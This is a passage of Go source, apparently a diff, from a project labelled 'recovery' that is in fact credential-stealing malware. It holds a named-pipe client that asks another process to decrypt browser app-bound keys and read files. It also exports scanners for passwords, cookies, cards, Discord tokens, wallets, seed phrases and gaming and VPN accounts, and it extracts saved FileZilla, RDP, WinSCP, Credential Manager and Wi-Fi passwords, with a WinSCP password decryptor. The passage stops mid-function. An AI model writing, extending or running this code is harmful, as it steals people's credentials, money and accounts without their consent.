||||
bufSize = returnLength + 65536
|
||||
if bufSize > 256*1024*1024 {
|
||||
return nil, fmt.Errorf("handle buffer too large")
|
||||
}
|
||||
continue
|
||||
}
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
|
||||
}
|
||||
|
||||
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
|
||||
count := int(info.NumberOfHandles)
|
||||
handles := make([]systemHandleEntry, count)
|
||||
for i := 0; i < count; i++ {
|
||||
entry := (*systemHandleEntry)(unsafe.Pointer(
|
||||
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
|
||||
))
|
||||
handles[i] = *entry
|
||||
}
|
||||
return handles, nil
|
||||
}
|
||||
}
|
||||
|
||||
func getHandlePath(handle uintptr) string {
|
||||
buf := make([]uint16, 32768)
|
||||
n, _, _ := procGetFinalPathNameByHandle.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(len(buf)),
|
||||
0,
|
||||
)
|
||||
if n == 0 || n >= uintptr(len(buf)) {
|
||||
return ""
|
||||
}
|
||||
s := syscall.UTF16ToString(buf[:n])
|
||||
if strings.HasPrefix(s, `\\?\`) {
|
||||
s = s[4:]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func getProcessesLockingFile(filePath string) []uint32 {
|
||||
suffix := filePath
|
||||
if len(suffix) > 8 {
|
||||
suffix = suffix[len(suffix)-8:]
|
||||
}
|
||||
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var sessionHandle uint32
|
||||
ret, _, _ := procRmStartSession.Call(
|
||||
uintptr(unsafe.Pointer(&sessionHandle)), 0,
|
||||
uintptr(unsafe.Pointer(sessionKey)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
defer procRmEndSession.Call(uintptr(sessionHandle))
|
||||
|
||||
filePathW, err := syscall.UTF16PtrFromString(filePath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
ret, _, _ = procRmRegisterResources.Call(
|
||||
uintptr(sessionHandle), 1,
|
||||
uintptr(unsafe.Pointer(&filePathW)),
|
||||
0, 0, 0, 0,
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var needed, count, rebootReason uint32
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 234 || needed == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
infos := make([]rmProcessInfo2, needed)
|
||||
count = needed
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&infos[0])),
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
pids := make([]uint32, 0, count)
|
||||
for i := uint32(0); i < count; i++ {
|
||||
pids = append(pids, infos[i].Process.ProcessId)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package platform
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[platform] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type PipeSession struct {
|
||||
mu sync.Mutex
|
||||
hPipe windows.Handle
|
||||
hProcess windows.Handle
|
||||
pid uint32
|
||||
ownsProcess bool
|
||||
job windows.Handle
|
||||
closed bool
|
||||
}
|
||||
|
||||
var (
|
||||
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
|
||||
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
|
||||
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
|
||||
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
|
||||
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
|
||||
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
|
||||
)
|
||||
|
||||
func createPipeName() string {
|
||||
b := make([]byte, 8)
|
||||
rand.Read(b)
|
||||
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
|
||||
}
|
||||
|
||||
func createPipeServer(pipeName string) (windows.Handle, error) {
|
||||
namePtr, err := syscall.UTF16PtrFromString(pipeName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
const (
|
||||
PIPE_ACCESS_DUPLEX = 0x3
|
||||
PIPE_TYPE_BYTE = 0x0
|
||||
PIPE_READMODE_BYTE = 0x0
|
||||
PIPE_WAIT = 0x0
|
||||
PIPE_UNLIMITED_INSTANCES = 0xFF
|
||||
)
|
||||
|
||||
r, _, err := procCreateNamedPipeW.Call(
|
||||
uintptr(unsafe.Pointer(namePtr)),
|
||||
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
|
||||
PIPE_UNLIMITED_INSTANCES,
|
||||
65536, // output buffer
|
||||
65536, // input buffer
|
||||
15000, // timeout ms
|
||||
0,
|
||||
)
|
||||
if r == ^uintptr(0) {
|
||||
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
|
||||
}
|
||||
return windows.Handle(r), nil
|
||||
}
|
||||
|
||||
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
|
||||
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("CreateEvent: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(hEvent)
|
||||
|
||||
ov := windows.Overlapped{HEvent: hEvent}
|
||||
|
||||
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
|
||||
if r != 0 {
|
||||
return nil // already connected
|
||||
}
|
||||
|
||||
if err == windows.ERROR_PIPE_CONNECTED {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != windows.ERROR_IO_PENDING {
|
||||
return fmt.Errorf("ConnectNamedPipe: %w", err)
|
||||
}
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
|
||||
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
||||
return fmt.Errorf("pipe connect timeout")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) pipeSend(data []byte) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return fmt.Errorf("pipe session closed")
|
||||
}
|
||||
|
||||
length := uint32(len(data))
|
||||
lengthBytes := []byte{
|
||||
byte(length),
|
||||
byte(length >> 8),
|
||||
byte(length >> 16),
|
||||
byte(length >> 24),
|
||||
}
|
||||
|
||||
var written uint32
|
||||
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
|
||||
if err != nil || written != 4 {
|
||||
return fmt.Errorf("write length: %w", err)
|
||||
}
|
||||
|
||||
if length > 0 {
|
||||
var totalWritten uint32
|
||||
for totalWritten < length {
|
||||
var n uint32
|
||||
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return fmt.Errorf("write data: %w", err)
|
||||
}
|
||||
totalWritten += n
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return 0, nil, fmt.Errorf("pipe session closed")
|
||||
}
|
||||
|
||||
var lengthBuf [4]byte
|
||||
var totalRead uint32
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
|
||||
for totalRead < 4 {
|
||||
if time.Now().After(deadline) {
|
||||
return 0, nil, fmt.Errorf("pipe recv timeout")
|
||||
}
|
||||
|
||||
var avail uint32
|
||||
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
|
||||
if r == 0 {
|
||||
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
|
||||
}
|
||||
if avail < 4-totalRead {
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
|
||||
var n uint32
|
||||
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return 0, nil, fmt.Errorf("read length: %w", err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
|
||||
if totalLen < 1 || totalLen > 100*1024*1024 {
|
||||
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
|
||||
}
|
||||
|
||||
buf := make([]byte, totalLen)
|
||||
totalRead = 0
|
||||
for totalRead < totalLen {
|
||||
var n uint32
|
||||
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return 0, nil, fmt.Errorf("read data: %w", err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
status = buf[0]
|
||||
data = buf[1:]
|
||||
return status, data, nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) Close() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return
|
||||
}
|
||||
s.closed = true
|
||||
|
||||
s.sendExitLocked()
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
|
||||
windows.CloseHandle(s.hPipe)
|
||||
|
||||
if s.ownsProcess && s.hProcess != 0 {
|
||||
if s.job != 0 {
|
||||
windows.CloseHandle(s.job)
|
||||
s.job = 0
|
||||
}
|
||||
windows.TerminateProcess(s.hProcess, 0)
|
||||
windows.WaitForSingleObject(s.hProcess, 3000)
|
||||
windows.CloseHandle(s.hProcess)
|
||||
} else if s.hProcess != 0 {
|
||||
windows.CloseHandle(s.hProcess)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
|
||||
h := s.hProcess
|
||||
if h == 0 {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
|
||||
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
wasClosed := s.closed
|
||||
s.mu.Unlock()
|
||||
if wasClosed {
|
||||
return
|
||||
}
|
||||
var code uint32
|
||||
if err := windows.GetExitCodeProcess(h, &code); err != nil {
|
||||
return
|
||||
}
|
||||
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *PipeSession) sendExitLocked() {
|
||||
exitCmd := []byte("EXIT")
|
||||
length := uint32(len(exitCmd))
|
||||
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
|
||||
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
|
||||
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
|
||||
}
|
||||
|
||||
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
||||
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
|
||||
if err := s.pipeSend([]byte(cmd)); err != nil {
|
||||
return nil, fmt.Errorf("send KEY command: %w", err)
|
||||
}
|
||||
|
||||
status, data, err := s.pipeRecv()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recv KEY response: %w", err)
|
||||
}
|
||||
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("decrypt failed: %s", string(data))
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
||||
cmd := fmt.Sprintf("READ:%s", path)
|
||||
if err := s.pipeSend([]byte(cmd)); err != nil {
|
||||
return nil, fmt.Errorf("send READ command: %w", err)
|
||||
}
|
||||
|
||||
status, data, err := s.pipeRecv()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recv READ response: %w", err)
|
||||
}
|
||||
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("read failed: %s", string(data))
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
var ActivePipeSession *PipeSession
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
type PipeSession struct{}
|
||||
|
||||
var ActivePipeSession *PipeSession
|
||||
|
||||
func (s *PipeSession) Close() {}
|
||||
|
||||
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
|
||||
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"recovery/recovery/fingerprint"
|
||||
"recovery/recovery/scanner"
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type CollectOptions = types.CollectOptions
|
||||
type CollectionResult = types.CollectionResult
|
||||
type BrowserConfig = types.BrowserConfig
|
||||
type ProfileInfo = types.ProfileInfo
|
||||
type ResolvedKeys = types.ResolvedKeys
|
||||
type PasswordResult = types.PasswordResult
|
||||
type CookieResult = types.CookieResult
|
||||
type AutofillResult = types.AutofillResult
|
||||
type HistoryResult = types.HistoryResult
|
||||
type BookmarkResult = types.BookmarkResult
|
||||
type CreditCardResult = types.CreditCardResult
|
||||
type DiscordTokenResult = types.DiscordTokenResult
|
||||
type FileResult = types.FileResult
|
||||
type ExtensionResult = types.ExtensionResult
|
||||
type WalletResult = types.WalletResult
|
||||
type TelegramResult = types.TelegramResult
|
||||
type KeyResult = types.KeyResult
|
||||
type SeedResult = types.SeedResult
|
||||
type AppCredentialResult = types.AppCredentialResult
|
||||
type GamingResult = types.GamingResult
|
||||
type SteamResult = types.SteamResult
|
||||
type GameInfo = types.GameInfo
|
||||
type BattleNetResult = types.BattleNetResult
|
||||
type EpicResult = types.EpicResult
|
||||
type RiotResult = types.RiotResult
|
||||
type UplayResult = types.UplayResult
|
||||
type VPNResult = types.VPNResult
|
||||
type NordVPNResult = types.NordVPNResult
|
||||
type WireGuardResult = types.WireGuardResult
|
||||
type OpenVPNResult = types.OpenVPNResult
|
||||
type MullvadResult = types.MullvadResult
|
||||
type FingerprintResult = fingerprint.Result
|
||||
type FingerprintJSResult = fingerprint.JSResult
|
||||
|
||||
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
|
||||
func ScanFiles() []FileResult { return scanner.ScanFiles() }
|
||||
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
|
||||
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
|
||||
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
|
||||
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
|
||||
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
|
||||
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
|
||||
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
|
||||
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
|
||||
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
|
||||
|
||||
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
|
||||
return scanner.ScanSeeds(files, passwords, autofill)
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanFileZillaUnix()...)
|
||||
if runtime.GOOS == "darwin" {
|
||||
results = append(results, scanWiFiDarwin()...)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
type fzServerUnix struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManagerUnix struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServerUnix `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServersUnix struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServerUnix `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZillaUnix() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
fzDir := filepath.Join(home, ".config", "filezilla")
|
||||
if runtime.GOOS == "darwin" {
|
||||
fzDir = filepath.Join(home, ".config", "filezilla")
|
||||
}
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServerUnix
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManagerUnix
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServersUnix
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanWiFiDarwin() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var networks []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
name := strings.TrimSpace(line)
|
||||
if name == "" || strings.HasPrefix(name, "Preferred networks") {
|
||||
continue
|
||||
}
|
||||
networks = append(networks, name)
|
||||
}
|
||||
|
||||
for _, name := range networks {
|
||||
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
|
||||
password := ""
|
||||
if err == nil {
|
||||
password = strings.TrimSpace(string(pw))
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,614 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var (
|
||||
advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
|
||||
procCredFree = advapi32.NewProc("CredFree")
|
||||
)
|
||||
|
||||
const (
|
||||
credTypeGeneric = 1
|
||||
credTypeDomainPassword = 2
|
||||
credTypeDomainCertificate = 3
|
||||
)
|
||||
|
||||
type winCredential struct {
|
||||
Flags uint32
|
||||
Type uint32
|
||||
TargetName *uint16
|
||||
Comment *uint16
|
||||
LastWritten syscall.Filetime
|
||||
CredentialBlobSize uint32
|
||||
CredentialBlob *byte
|
||||
Persist uint32
|
||||
AttributeCount uint32
|
||||
Attributes uintptr
|
||||
TargetAlias *uint16
|
||||
UserName *uint16
|
||||
}
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanRDP()...)
|
||||
results = append(results, scanWinSCP()...)
|
||||
results = append(results, scanPuTTY()...)
|
||||
results = append(results, scanFileZilla()...)
|
||||
results = append(results, scanCredentialManager()...)
|
||||
results = append(results, scanWiFi()...)
|
||||
return results
|
||||
}
|
||||
|
||||
// ── RDP ────────────────────────────────────────────────────────────────
|
||||
|
||||
func scanRDP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
// Registry: saved connection history with usernames
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err == nil {
|
||||
defer k.Close()
|
||||
servers, _ := k.ReadSubKeyNames(-1)
|
||||
for _, server := range servers {
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
username, _, _ := sk.GetStringValue("UsernameHint")
|
||||
sk.Close()
|
||||
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: server,
|
||||
Port: 3389,
|
||||
Username: username,
|
||||
Protocol: "rdp",
|
||||
}
|
||||
|
||||
// Try to get the password from Credential Manager
|
||||
pw := credManagerLookup("TERMSRV/" + server)
|
||||
if pw != "" {
|
||||
r.Password = pw
|
||||
}
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
|
||||
// Also scan Credential Manager for TERMSRV/* entries not in the registry
|
||||
creds := enumCredentials()
|
||||
seen := make(map[string]bool)
|
||||
for _, r := range results {
|
||||
seen[strings.ToLower(r.Host)] = true
|
||||
}
|
||||
for _, c := range creds {
|
||||
target := strings.ToLower(c.target)
|
||||
if !strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
host := c.target[len("TERMSRV/"):]
|
||||
if seen[strings.ToLower(host)] {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: host,
|
||||
Port: 3389,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: "rdp",
|
||||
})
|
||||
}
|
||||
|
||||
// Scan for .rdp files
|
||||
results = append(results, scanRDPFiles()...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanRDPFiles() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
dirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range dirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, e.Name())
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
r := parseRDPFile(string(data))
|
||||
if r.Host != "" {
|
||||
r.Extra = path
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func parseRDPFile(content string) types.AppCredentialResult {
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Protocol: "rdp",
|
||||
Port: 3389,
|
||||
}
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
parts := strings.SplitN(line, ":", 3)
|
||||
if len(parts) < 3 {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(strings.TrimSpace(parts[0]))
|
||||
val := strings.TrimSpace(parts[2])
|
||||
switch key {
|
||||
case "full address":
|
||||
if idx := strings.LastIndex(val, ":"); idx > 0 {
|
||||
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
|
||||
r.Host = val[:idx]
|
||||
r.Port = p
|
||||
continue
|
||||
}
|
||||
}
|
||||
r.Host = val
|
||||
case "username":
|
||||
r.Username = val
|
||||
case "server port":
|
||||
if p, err := strconv.Atoi(val); err == nil {
|
||||
r.Port = p
|
||||
}
|
||||
}
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// ── WinSCP ─────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWinSCP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
encPassword, _, _ := sk.GetStringValue("Password")
|
||||
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
|
||||
protocol := "sftp"
|
||||
switch fsProtocol {
|
||||
case 0:
|
||||
protocol = "sftp"
|
||||
case 5:
|
||||
protocol = "ftp"
|
||||
case 1:
|
||||
protocol = "scp"
|
||||
}
|
||||
|
||||
password := ""
|
||||
if encPassword != "" {
|
||||
password = decryptWinSCPPassword(encPassword, hostname, username)
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WinSCP",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Password: password,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func decryptWinSCPPassword(hex, hostname, username string) string {
|
||||
key := username + hostname
|
||||
|
||||
decNextChar := func(s string, idx int) (byte, int) {
|
||||
if idx+2 > len(s) {
|
||||
return 0, idx + 2
|
||||
}
|
||||
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
|
||||
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
|
||||
if err1 != nil || err2 != nil {
|
||||
return 0, idx + 2
|
||||
}
|
||||
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
|
||||
}
|
||||
|
||||
idx := 0
|
||||
flag, idx := decNextChar(hex, idx)
|
||||
|
||||
if flag == 0xFF {
|
||||
return ""
|
||||
}
|
||||
|
||||
_, idx = decNextChar(hex, idx) // skip unused byte
|
||||
|
||||
length, idx := decNextChar(hex, idx)
|
||||
|
||||
delLen, idx := decNextChar(hex, idx)
|
||||
for i := 0; i < int(delLen); i++ {
|
||||
_, idx = decNextChar(hex, idx)
|
||||
}
|
||||
|
||||
raw := make([]byte, 0, int(length))
|
||||
for i := 0; i < int(length); i++ {
|
||||
c, newIdx := decNextChar(hex, idx)
|
||||
idx = newIdx
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
if len(key) > 0 {
|
||||
decrypted := make([]byte, len(raw))
|
||||
